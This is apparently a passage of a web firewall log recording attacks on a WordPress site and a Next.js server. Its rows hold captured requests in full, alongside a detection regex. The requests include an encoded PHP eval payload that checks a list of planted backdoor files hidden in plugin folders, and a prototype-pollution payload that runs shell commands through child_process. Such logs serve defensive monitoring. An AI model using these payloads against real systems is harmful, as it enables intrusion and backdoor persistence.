20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20\"));","POST \/wp-admin\/network\/upgrade.php HTTP\/1.1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:14223\naccept:*\/*\nsec-fetch-site:none\nsec-fetch-mode:navigate\naccept-encoding:gzip,deflate\n\nGBStEu=eval(rawurldecode(\"%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core32\/mpasm.php%22%3D%3E%22bd%40%40278623559%40%40891%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/classes\/abstracts\/ActionScheduler_Abstract_ListTable.php%22%3D%3E%22bd%40%40287676384%40%40%24_COOKIE%5B4%22%2C%0A%22\/wp-includes\/Requests\/src\/Auth\/accept.php%22%3D%3E%22bd%40%40257245411%40%40871%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Parse\/bg_BG.php%22%3D%3E%22bd%40%40244665584%40%40597%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-content\/plugins\/astra-sites\/inc\/classes\/compatibility\/learndash\/class-astra-sites-compatibility-learndash.php%22%3D%3E%22bd%40%40282625858%40%40jZgVad%22%2C%0A%22\/wp-admin\/media.php%22%3D%3E%22bd%40%40263416356%40%401402%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ConversionActionStatusEnum\/checkout.php%22%3D%3E%22bd%40%40282625866%40%401043%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img.php%22%3D%3E%22bd%40%40279403237%40%40899%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/beanstream_usd.php%22%3D%3E%22bd%40%40257241540%40%40919%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20\"));"]
["2026-04-20 08:04:01","47.236.233.159","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;\/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\nsec-fetch-dest:document\nsec-fetch-site:none\ncontent-type:multipart\/form-data; boundary=----FormBoundarycfd4f91b4f825e44\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:47.254.126.238\naccept-language:en-GB,en;q=0.9\ncontent-length:666\naccept:text\/x-component\naccept-encoding:gzip, deflate, br\nnext-action:x\ncache-control:no-cache\nconnection:keep-alive\n\n------FormBoundarycfd4f91b4f825e44\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;\/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------FormBoundarycfd4f91b4f825e44\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------FormBoundarycfd4f91b4f825e44\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n------FormBoundarycfd4f91b4f825e44--"]
["2026-04-20 08:13:12","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> phaqOW:eval(rawurldecode(\"%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core32\/mpasm.php%22%3D%3E%22bd%40%40278623559%40%40891%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/classes\/abstracts\/ActionScheduler_Abstract_ListTable.php%22%3D%3E%22bd%40%40287676384%40%40%24_COOKIE%5B4%22%2C%0A%22\/wp-includes\/Requests\/src\/Auth\/accept.php%22%3D%3E%22bd%40%40257245411%40%40871%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Parse\/bg_BG.php%22%3D%3E%22bd%40%40244665584%40%40597%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-content\/plugins\/astra-sites\/inc\/classes\/compatibility\/learndash\/class-astra-sites-compatibility-learndash.php%22%3D%3E%22bd%40%40282625858%40%40jZgVad%22%2C%0A%22\/wp-admin\/media.php%22%3D%3E%22bd%40%40263416356%40%401402%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ConversionActionStatusEnum\/checkout.php%22%3D%3E%22bd%40%40282625866%40%401043%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img.php%22%3D%3E%22bd%40%40279403237%40%40899%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/beanst